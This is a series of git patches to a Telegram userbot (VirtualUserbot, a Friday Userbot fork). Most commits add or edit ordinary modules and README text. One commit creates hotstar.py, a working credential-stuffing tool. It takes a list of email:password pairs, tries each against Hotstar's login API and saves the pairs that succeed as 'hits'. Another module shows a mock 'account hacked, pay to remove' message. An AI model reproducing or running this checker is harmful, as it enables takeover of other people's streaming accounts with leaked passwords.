a/README.md +++ b/README.md @@ -43,7 +43,7 @@ [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) -``` Alwaystry to Deploy this source. If not you will miss the future updates``` +``` Always try to Deploy this source. If not you will miss the future updates``` From bfd7b171a3abfe5c41e1e6610a00032838ea7c48 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:26:35 +0530 Subject: [PATCH 099/838] Update pokedex.py --- fridaybot/modules/pokedex.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py index d5270c53..9a29d887 100644 --- a/fridaybot/modules/pokedex.py +++ b/fridaybot/modules/pokedex.py @@ -13,7 +13,7 @@ import html from uniborg.util import friday_on_cmd - +import os from telethon.tl.functions.photos import GetUserPhotosRequest From 04a50cfca850e325d2b341f60a9f254afdad72fb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:42:50 +0530 Subject: [PATCH 100/838] Update pokedex.py --- fridaybot/modules/pokedex.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py index 9a29d887..cc010950 100644 --- a/fridaybot/modules/pokedex.py +++ b/fridaybot/modules/pokedex.py @@ -27,7 +27,7 @@ try: from pokedex import pokedex except: - os.system("pip install pip install pokedex") + os.system("pip install pokedex") from pokedex import pokedex @friday.on(admin_cmd(pattern="pokedex (.*)")) From f93a7b9a9d8c09c33ba977fd166a6bbe43ab0f0c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 07:57:27 +0530 Subject: [PATCH 101/838] Delete pokedex.py --- fridaybot/modules/pokedex.py | 147 ----------------------------------- 1 file changed, 147 deletions(-) delete mode 100644 fridaybot/modules/pokedex.py diff --git a/fridaybot/modules/pokedex.py b/fridaybot/modules/pokedex.py deleted file mode 100644 index cc010950..00000000 --- a/fridaybot/modules/pokedex.py +++ /dev/null @@ -1,147 +0,0 @@ -# Copyright (C) @chsaiujwal 2020 -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU Affero General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Affero General Public License for more details. -# -# You should have received a copy of the GNU Affero General Public License -# along with this program. If not, see . - -import html -from uniborg.util import friday_on_cmd -import os - - -from telethon.tl.functions.photos import GetUserPhotosRequest -from telethon.tl.functions.users import GetFullUserRequest -from telethon.tl.types import MessageEntityMentionName -from telethon.utils import get_input_location - -from fridaybot import CMD_HELP, sclient -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd - -try: - from pokedex import pokedex -except: - os.system("pip install pokedex") - from pokedex import pokedex - -@friday.on(admin_cmd(pattern="pokedex (.*)")) -async def _(event): - if event.fwd_from: - return - input_str = event.pattern_match.group(1) - pokedx = pokedex.Pokedex() - pokemen = pokedx.get_pokemon_by_name(input_str) - pokemon=pokemen[0] - name = str(pokemon.get("name")) - number = str(pokemon.get("number")) - species = str(pokemon.get("species")) - typo = pokemon.get("types") - types = "" - for tu in typo: - types+=str(tu)+", " - - lol = pokemon.get("abilities") - lmao = lol.get("normal") - ok ="" - for ty in lmao: - ok = str(ty)+", " - - kk = lol.get("hidden") - hm = "" - for pq in kk: - hm += str(pq)+", " - hell = pokemon.get("eggGroups") - uio="" - for x in hell: - uio += str(x)+", " - - height = pokemon.get("height") - weight = pokemon.get("weight") - yes = pokemon.get("family") - Id = str(yes.get("id")) - evo = str(yes.get("evolutionStage")) - pol = yes.get("evolutionLine") - xy = "" - for p in pol: - xy+= str(p)+", " - - start = pokemon.get("starter") - if start==False: - start="No" - elif start==True: - start="True" - else: - pass - - leg = pokemon.get("legendary") - - if leg==False: - leg="No" - elif leg==True: - leg="True" - else: - pass - - myt = pokemon.get("mythical") - if myt==False: - myt="No" - elif myt==True: - myt="True" - else: - pass - ultra = pokemon.get("ultraBeast") - - if ultra==False: - ultra="No" - elif ultra==True: - ultra="True" - else: - pass - - megA = pokemon.get("mega") - - if megA==False: - megA="No" - elif megA==True: - megA="True" - else: - pass - - gEn = pokemon.get("gen") - link = pokemon.get("sprite") - des = pokemon.get("description") - - #hope = await borg(event.chat_id, link) - caption = f"Pokemon Information Gathered Successfully\n\n\nName:- {name}\nNumber:- {number}\nSpecies:- {species}\nType:- {types}\n\nAbilities\nNormal Abilities:- {ok}\nHidden Abilities:- {hm}\nEgg Group:- {uio}\nHeight:- {height}\nWeight:- {weight}\n\nFamily\nID:- {Id}\nEvolution Stage:- {evo}\nEvolution Line:- {xy}\nStarter:- {start}\nLegendary:- {leg}\nMythical:- {myt}\nUltra Beast:- {ultra}\nMega:- {megA}\nGen:- {gEn}\nImage Link:- {link}\nDescription:- {des}" - - await borg.send_message( - event.chat_id, - caption, - parse_mode="HTML", - file=link, - force_document=False, - silent=True, - ) - - - - - - - - -CMD_HELP.update( - { - "pokedex": "**Pokedex**\ -\n\n**Syntax : **`.pokedex `\ -\n**Usage :** Gives Information About Given Pokemon.\ -\n\n**Example : **`.pokedex pikachu`\ -\nThis above syntax gives Information about Pikachu" - } -) From 57c7bf2bff17d904405bc1adf19204620353d3bd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 13:25:44 +0530 Subject: [PATCH 102/838] Update README.md --- README.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index bdc6cba8..de5613a0 100644 --- a/README.md +++ b/README.md @@ -18,9 +18,9 @@ # Support - + - + ``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ``` @@ -50,8 +50,11 @@ -# String Session (Powered By Friday) -## Repl +# String Session (Need before deploying) +## Using Our Bot (Recommended) +[![Use Our Bot](https://repl.it/badge/github/STARKGANG/friday)](https://t.me/StringSessionGeneratorRobot) +# +## Repl (not recommended) [![Run on Repl.it](https://repl.it/badge/github/STARKGANG/friday)](https://friday.midhunkm1294.repl.run) From 351c72127b235216533fa014a48848aec243a20a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 13:34:18 +0530 Subject: [PATCH 103/838] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index de5613a0..e4ef6eae 100644 --- a/README.md +++ b/README.md @@ -33,10 +33,11 @@ - - ``` The Methord is also same for this. Just deploy bot from this repo ``` +# String Session (Need before deploying) +## Using Our Bot (Recommended) +[![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/StringSessionGeneratorRobot) # Deploying To Heroku From 6e7b3a9f5b72ebde953a203e96205b2a7cb81a8c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 13:35:33 +0530 Subject: [PATCH 104/838] Update README.md --- README.md | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index e4ef6eae..5e5f4364 100644 --- a/README.md +++ b/README.md @@ -51,18 +51,16 @@ -# String Session (Need before deploying) -## Using Our Bot (Recommended) -[![Use Our Bot](https://repl.it/badge/github/STARKGANG/friday)](https://t.me/StringSessionGeneratorRobot) -# -## Repl (not recommended) -[![Run on Repl.it](https://repl.it/badge/github/STARKGANG/friday)](https://friday.midhunkm1294.repl.run) ## Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang for the Friday Project..
-THE HARD WAY of deploying - +#String Session (Hard Way) +## Repl (not recommended) + +[![Run on Repl.it](https://repl.it/badge/github/STARKGANG/friday)](https://friday.midhunkm1294.repl.run) Simply clone the repository and run the main file: ```sh From 3844b37b791e0f1b228dcd944b1f1c45cdb4e6fb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 13:36:05 +0530 Subject: [PATCH 105/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5e5f4364..7997b16e 100644 --- a/README.md +++ b/README.md @@ -57,7 +57,7 @@
-THE HARD WAY of deploying - -#String Session (Hard Way) +# String Session (Hard Way) ## Repl (not recommended) [![Run on Repl.it](https://repl.it/badge/github/STARKGANG/friday)](https://friday.midhunkm1294.repl.run) From 9b20b96105a716be468c2d20e628983cf9bdb049 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 13:36:35 +0530 Subject: [PATCH 106/838] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 7997b16e..9521a035 100644 --- a/README.md +++ b/README.md @@ -57,6 +57,7 @@
-THE HARD WAY of deploying - + # String Session (Hard Way) ## Repl (not recommended) From d037b0229afc37b82620bc46093c76d092fabb37 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 14:09:01 +0530 Subject: [PATCH 107/838] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 9521a035..467a5880 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,7 @@ -## Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang for the Friday Project.. +
-THE HARD WAY of deploying - @@ -115,3 +115,4 @@ published by the Free Software Foundation, either version 3 of the License, or [![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/inukaasith/virtualuserbot/graphs/commit-activity) +### Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang for the Friday Project.. From 7229a55090feb5fa68d342a3f301717ce3cbbebd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 14:10:36 +0530 Subject: [PATCH 108/838] Update hack.py --- fridaybot/modules/hack.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/hack.py b/fridaybot/modules/hack.py index 7b32817c..4d39427e 100644 --- a/fridaybot/modules/hack.py +++ b/fridaybot/modules/hack.py @@ -71,7 +71,7 @@ async def _(event): "`Hacking... 52%\n█████████████▒▒▒▒▒▒▒▒▒▒▒▒ `", "`Hacking... 84%\n█████████████████████▒▒▒▒ `", "`Hacking... 100%\n█████████HACKED███████████ `", - f"`Targeted Account Hacked...\n\nPay 69$ To` @InukaASiTH . `To Remove this hack..`", + f"`Targeted Account Hacked...\n\nPay 69$ To` My Master . `To Remove this hack..`", ] animation_interval = 3 animation_ttl = range(11) From e1d18dec5ecb77033e998853283095dbc410960c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 19:33:33 +0530 Subject: [PATCH 109/838] Update afk.py --- fridaybot/modules/afk.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py index 278bac46..492352fe 100644 --- a/fridaybot/modules/afk.py +++ b/fridaybot/modules/afk.py @@ -49,7 +49,7 @@ async def _(event): if reason: await borg.send_message( event.chat_id, - f"**My Master Seems To Be Too Busy 👀.** \n__He Going Afk Because Of__ `{reason}`", + f"**මම දැන් Offline යනවා 👀.** \n__Offline යන්න හේතුව__ `{reason}`", ) else: await borg.send_message(event.chat_id, f"**I Am Busy And I Am Going Afk**.") @@ -79,7 +79,7 @@ async def set_not_afk(event): if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602 shite = await borg.send_message( event.chat_id, - "__Pro is Back Alive__\n**No Longer afk.**\n `I Was afk for:``" + "__Pro is Back Alive__\n**තව දුරටත් Offline නෙමෙයි.**\n `මම Offline හිටිය කාලය:``" + total_afk_time + "`", ) From 9e40fc136381050f3c357f0ba39ac770aa5c7534 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 19:39:19 +0530 Subject: [PATCH 110/838] Update afk.py --- fridaybot/modules/afk.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py index 492352fe..d9f541a9 100644 --- a/fridaybot/modules/afk.py +++ b/fridaybot/modules/afk.py @@ -52,7 +52,7 @@ async def _(event): f"**මම දැන් Offline යනවා 👀.** \n__Offline යන්න හේතුව__ `{reason}`", ) else: - await borg.send_message(event.chat_id, f"**I Am Busy And I Am Going Afk**.") + await borg.send_message(event.chat_id, f"**මම දැන් Busy ඒක නිසා Offline යනවා**.") await asyncio.sleep(5) await event.delete() try: From 82be3ee180e30d282120052538afb27bdfa56d1c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 19:42:01 +0530 Subject: [PATCH 111/838] Update afk.py --- fridaybot/modules/afk.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py index d9f541a9..076ca013 100644 --- a/fridaybot/modules/afk.py +++ b/fridaybot/modules/afk.py @@ -160,7 +160,7 @@ async def on_afk(event): f"**මම දැන් පොඩ්ඩක් Busy.. ඒක නිසා ටිකකට ඔන්ලයින් නෑ** \n**ඕෆ්ලයින් ගිය කාලය** : `{total_afk_time}`\n**හේතුව** : `{reason}`" + f"\n\nමම ඉක්මනටම ආපහු එන්නම්!" if reason - else f"**මම දැන් ඕෆ්ලයින්**\n ඕෆ්ලයින් ගිය කාලය : `{total_afk_time}` මම ඉක්මනටම ආපහු එන්නම්" + else f"**මම දැන් ඕෆ්ලයින්**\n ඕෆ්ලයින් ගිය කාලය : `{total_afk_time}` \n මම ඉක්මනටම ආපහු එන්නම්" ) msg = await event.reply(message_to_reply) await asyncio.sleep(5) From 172f9fc928bea305abe807f9164a4ad8b8394cc6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 19:42:36 +0530 Subject: [PATCH 112/838] Update afk.py --- fridaybot/modules/afk.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py index 076ca013..2874c4e9 100644 --- a/fridaybot/modules/afk.py +++ b/fridaybot/modules/afk.py @@ -79,7 +79,7 @@ async def set_not_afk(event): if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602 shite = await borg.send_message( event.chat_id, - "__Pro is Back Alive__\n**තව දුරටත් Offline නෙමෙයි.**\n `මම Offline හිටිය කාලය:``" + "__Pro is Back Alive__\n**තව දුරටත් Offline නෙමෙයි.**\n `මම Offline හිටිය කාලය :``" + total_afk_time + "`", ) From dd9535d93fb09aa6fcab670fee0fc5f4a67fab82 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 23:41:53 +0530 Subject: [PATCH 113/838] Create football.py --- fridaybot/modules/football.py | 156 ++++++++++++++++++++++++++++++++++ 1 file changed, 156 insertions(+) create mode 100644 fridaybot/modules/football.py diff --git a/fridaybot/modules/football.py b/fridaybot/modules/football.py new file mode 100644 index 00000000..af5e1f5d --- /dev/null +++ b/fridaybot/modules/football.py @@ -0,0 +1,156 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + + +import requests +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd +from fridaybot.Configs import Config + +@friday.on(admin_cmd(pattern="fpl")) +async def _(event): + if event.fwd_from: + return + + if Config.FOOTBALL_API_KEY is None: + await event.edit("Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!") + return + + appo = Config.FOOTBALL_API_KEY + url = "https://api-football-beta.p.rapidapi.com/standings" + querystring = {"season":"2020","league":"39"} + headers = {'x-rapidapi-key': appo,'x-rapidapi-host': "api-football-beta.p.rapidapi.com"} + response = requests.request("GET", url, headers=headers, params=querystring) + a = response.json() + b = a.get("response") + c = b[0] + d = c.get('league') + e = d.get('name') + f = d.get("country") + logo = d.get("logo") + season = d.get("season") + g = d.get("standings") + h = g[0] + i = h[0] + rank = i.get("rank") + k = i.get("team") + nomo = k.get("name") + + pont = i.get("points") + kk = i.get("all") + pl = kk.get("played") + wein = kk.get("win") + yqw= kk.get("draw") + pol = kk.get("lose") + nex = h[1] + new = nex.get("rank") + np = nex.get("team") + nee = np.get("name") + popo = nex.get("points") + oloq = nex.get("all") + pl1 = oloq.get("played") + wein1 = oloq.get("win") + yqw1 = oloq.get("draw") + pol1 = oloq.get("lose") + + + nex2 = h[2] + new2 = nex2.get("rank") + np2 = nex2.get("team") + nee2 = np2.get("name") + popo2 = nex2.get("points") + oloq2 = nex2.get("all") + pl2 = oloq2.get("played") + wein2 = oloq2.get("win") + yqw2 = oloq2.get("draw") + pol2 = oloq2.get("lose") + + nex3 = h[3] + new3 = nex3.get("rank") + np3 = nex3.get("team") + nee3 = np3.get("name") + popo3 = nex3.get("points") + oloq3 = nex3.get("all") + pl3 = oloq3.get("played") + wein3 = oloq3.get("win") + yqw3 = oloq3.get("draw") + pol3 = oloq3.get("lose") + + nex4 = h[4] + new4 = nex4.get("rank") + np4 = nex4.get("team") + nee4 = np4.get("name") + popo4 = nex4.get("points") + oloq4 = nex4.get("all") + pl4 = oloq4.get("played") + wein4 = oloq4.get("win") + yqw4 = oloq4.get("draw") + pol4 = oloq4.get("lose") + + + caption = f"""{e} +Country:- {f} +season = {season} +Standings +Rank:- {rank} +Name:- {nomo} +points:- {pont} +Played:- {pl} +win:- {wein} +Draw:- {yqw} +Lose:- {pol} +Rank:- {new} +Name:- {nee} +points:- {popo} +Win:- {wein1} +Draw:- {yqw1} +Lose:- {pol1} +Rank:- {new2} +Name:- {nee2} +points:- {popo2} +Win:- {wein2} +Draw:- {yqw2} +Lose:- {pol2} +Rank:- {new3} +Name:- {nee3} +points:- {popo3} +Win:- {wein3} +Draw:- {yqw3} +Lose:- {pol3} +Rank:- {new4} +Name:- {nee4} +points:- {popo4} +Win:- {wein4} +Draw:- {yqw4} +Lose:- {pol4} +""" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=logo, + force_document=False, + silent=True, + ) + await event.delete() + + + +CMD_HELP.update( + { + "football": "**Football**\ +\n\n**Syntax : **`.fpl`\ +\n**Usage :** Shows Premier League's Standings." + } +) From bc11865ee18c33f1ceada69aa01e362f66798d87 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 23:43:03 +0530 Subject: [PATCH 114/838] Update Configs.py --- fridaybot/Configs.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 43039d17..928dfe66 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -144,6 +144,8 @@ class Config(object): ANTISPAM_FEATURE = os.environ.get("ANTISPAM_FEATURE", "ENABLE") ASSISTANT_LOG = int(os.environ.get("ASSISTANT_LOG", False)) OPEN_LOAD_LOGIN = os.environ.get("OPEN_LOAD_LOGIN", None) + SUPERHERO_API_KEY = os.environ.get("SUPERHERO_API_KEY", None) + FOOTBALL_API_KEY = os.environ.get("FOOTBALL_API_KEY", None) OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None) UPSTREAM_REPO = os.environ.get( "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" From dab7393926cec637110b93a8e4ea8d9892440371 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 23:44:11 +0530 Subject: [PATCH 115/838] Create superhero.py --- fridaybot/modules/superhero.py | 132 +++++++++++++++++++++++++++++++++ 1 file changed, 132 insertions(+) create mode 100644 fridaybot/modules/superhero.py diff --git a/fridaybot/modules/superhero.py b/fridaybot/modules/superhero.py new file mode 100644 index 00000000..b39f0dad --- /dev/null +++ b/fridaybot/modules/superhero.py @@ -0,0 +1,132 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import requests + +from uniborg.util import friday_on_cmd + +import html + +from telethon.tl.functions.photos import GetUserPhotosRequest +from telethon.tl.functions.users import GetFullUserRequest +from telethon.tl.types import MessageEntityMentionName +from telethon.utils import get_input_location +from fridaybot.Configs import Config +from fridaybot import CMD_HELP, sclient +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd + + +@friday.on(admin_cmd(pattern="hero (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + url = "https://superhero-search.p.rapidapi.com/" + querystring = {"hero": input_str} + if Config.SUPERHERO_API_KEY is None: + await event.edit("Need to get an API key from https://rapidapi.com/jakash1997/api/superhero-search\nModule stopping!") + return + await event.edit("Processing Your Request.") + inputo = Config.SUPERHERO_API_KEY + + headers = { + 'x-rapidapi-key': inputo, + 'x-rapidapi-host': "superhero-search.p.rapidapi.com" + } + + response = requests.request("GET", url, headers=headers, params=querystring) + a = response.json() + b = a.get("name") + c = a.get("id") + d = a.get("slug") + e = a.get("powerstats") + intelligence = str(e.get("intelligence")) + strength = str(e.get("strength")) + speed = str(e.get("speed")) + durability = str(e.get("durability")) + power = str(e.get("power")) + combact = str(e.get("combact")) + f = a.get("appearance") + lol = str(f.get("gender")) + lul = str(f.get("race")) + hm = f.get("height") + inch = str(hm[0]) + cm = str(hm[1]) + # What are you doing in our code? + + weiGht = f.get("weight") + lb = str(weiGht[0]) + kg = str(weiGht[1]) + eye = str(f.get("eyeColor")) + hair = str(f.get("hairColor")) + bio = a.get("biography") + #Hey Kanger, Don't you dare Kamg this. + + fullName = str(bio.get("fullName")) + ego = str(bio.get("alterEgos")) + aliase = bio.get("aliases") + sedo = "" + #Messi Is The Best. + for messi in aliase: + sedo += messi + " " + + + + PoB = str(bio.get("placeOfBirth")) + sed = str(sedo) + + firsT = str(bio.get("firstAppearance")) + + alignment = str(bio.get("alignment")) + + imoge = a.get("images") + res = list(imoge.keys())[3] + linke = str(res) + link = str(imoge.get(linke)) + fcb = input_str.upper() + + caption = f""" {fcb} STATS +Name:- : {b} +Id:- : {c} +Slug:- : {d} +Power Stats +Intelligence:- : {intelligence} +Strength:- : {strength} +Speed:- : {speed} +Durability:- : {durability} +Power:- : {power} +Combact:- : {combact} +Appearance +Gender:- : {lol} +Race:- : {lul} +Height:- : {inch} {cm} +Weight:- : {lb} {kg} +Eye Colour:- : {eye} +Hair Colour:- : {hair} +Biography +Full Name:- : {fullName} +Alter Egos:- : {ego} +Aliases:- : {sed} +Place Of Birth:- : {PoB} +First Appearance:- : {firsT} +alignment:- : {alignment} +""" + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=link, + force_document=False, + silent=True, + ) + await event.delete() From 1f4f0b4cdde553b6cea98aa3d73c0dccfa6b54ce Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 23:45:31 +0530 Subject: [PATCH 116/838] Create hotstar.py --- fridaybot/modules/hotstar.py | 61 ++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 fridaybot/modules/hotstar.py diff --git a/fridaybot/modules/hotstar.py b/fridaybot/modules/hotstar.py new file mode 100644 index 00000000..32765a5e --- /dev/null +++ b/fridaybot/modules/hotstar.py @@ -0,0 +1,61 @@ +import json + +import requests + +from fridaybot.utils import friday_on_cmd + +url = "https://api.hotstar.com/in/aadhar/v2/web/in/user/login" +headers = { + 'content-type': 'application/json', + 'Referer': 'https://www.hotstar.com/', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', + 'Accept': '*/*', + 'hotstarauth': 'st=1542433344~exp=1542439344~acl=/*~hmac=7dd9deaf6fb16859bd90b1cc84b0d39e0c07b6bb2e174ffecd9cb070a25d9418', + 'Accept-Language': 'en-US,en;q=0.5', + 'Accept-Encoding': 'gzip, deflate', + 'x-user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 FKUA/website/41/website/Desktop' + } + +@friday.on(friday_on_cmd(pattern="hotstar")) +async def hotstar(event): + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + file = open(starky, "r") + lines = file.readlines() + for line in lines: + stark_dict.append(line) + logger.info(stark_dict) + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + print(email) + print(password) + payload = {"isProfileRequired":"false","userData":{"deviceId":"a7d1bc04-f55e-4b16-80e8-d8fbf4c91768","password":password,"username":email,"usertype":"email"}} + try: + meke = requests.post(url, data=json.dumps(payload), headers=headers) + logger.info(f"{meke.text} {int(meke.status_code)}") + except Exception as s: + await event.edit("**Errors : **" + str(s)) + return + if meke.status_code == 200: + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + logger.info(hits_dict) + if len(hits_dict) == 0: + await event.edit("No Hits " + meke.text) + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s) + await borg.send_file( + event.chat_id, "hits.txt", caption=f"**HITS :** `{hits}` \n**BAD :** `{bads}`" + ) + os.remove(starky) + os.remove("hits.txt") From 124bbaa04df19c1bb6c6df2828b4f26376e287d5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 23:49:35 +0530 Subject: [PATCH 117/838] Create channel_sticker.py --- fridaybot/modules/channel_sticker.py | 82 ++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 fridaybot/modules/channel_sticker.py diff --git a/fridaybot/modules/channel_sticker.py b/fridaybot/modules/channel_sticker.py new file mode 100644 index 00000000..e7bdc145 --- /dev/null +++ b/fridaybot/modules/channel_sticker.py @@ -0,0 +1,82 @@ +from telethon import events +from telethon.utils import pack_bot_file_id + +from fridaybot.modules.sql_helper.channel_sticker_sql import ( + add_new_data_in_db, + is_data_indb, + remove_datas, +) +from fridaybot.utils import admin_cmd + +lulstark = [".", ",", "!", "'"] + + +@friday.on(admin_cmd(pattern="scs$")) +async def _m(event): + await event.edit("`Processing..`") + id_s = event.chat_id + lmao = await event.get_reply_message() + if event.is_group: + await event.edit("`No, LoL You Can't Set Channel Stickers In Groups, lol`") + return + if event.is_private: + await event.edit( + "`No, LoL You Can't Set Channel Stickers In Private Chats, lol`" + ) + return + if lmao.sticker.mime_type != "image/webp": + await event.edit("`Only Sticker Allowded.`") + return + if is_data_indb(id_s): + await event.edit( + "`This Channel Sticker Data Is Already In Db, Remove First To Update it.`" + ) + return + if not is_data_indb(id_s): + bot_api_file_id = pack_bot_file_id(lmao.media) + add_new_data_in_db(id_s, bot_api_file_id) + await event.edit( + "`This Sticker Has Been Set As Channel Sticker For This Channel`" + ) + + +@friday.on(admin_cmd(pattern="rcs$")) +async def _m(event): + await event.edit("`Processing..`") + id_s = event.chat_id + if is_data_indb(id_s): + remove_datas(id_s) + await event.edit("`Done, I have Removed This Channel From DB`") + elif not is_data_indb(id_s): + await event.edit("`You Need To Set Channel Sticker To Remove It`") + + +@friday.on(admin_cmd(pattern="ccs$")) +async def _m(event): + await event.edit("`Processing..`") + id_s = event.chat_id + if is_data_indb(id_s): + await event.edit( + f"**Yes, Channel Sticker Has Been Set. Sticker ID :** `{is_data_indb(id_s)}`" + ) + elif not is_data_indb(id_s): + await event.edit("`No Channel Sticker Set For This Channel.`") + + +@bot.on(events.NewMessage) +async def lul(event): + lsb = event.chat_id + id_s = event.chat_id + if is_data_indb(event.chat_id): + if event.text.startswith(tuple(lulstark)): + return + try: + await borg.send_file(event.chat_id, is_data_indb(event.chat_id)) + except: + await borg.send_message( + Config.PRIVATE_GROUP_ID, + f"Failed, To Send Sticker in {lsb}, Probably Due To No Access, Or Channel Not Found.", + ) + return + elif not is_data_indb(id_s): + return From 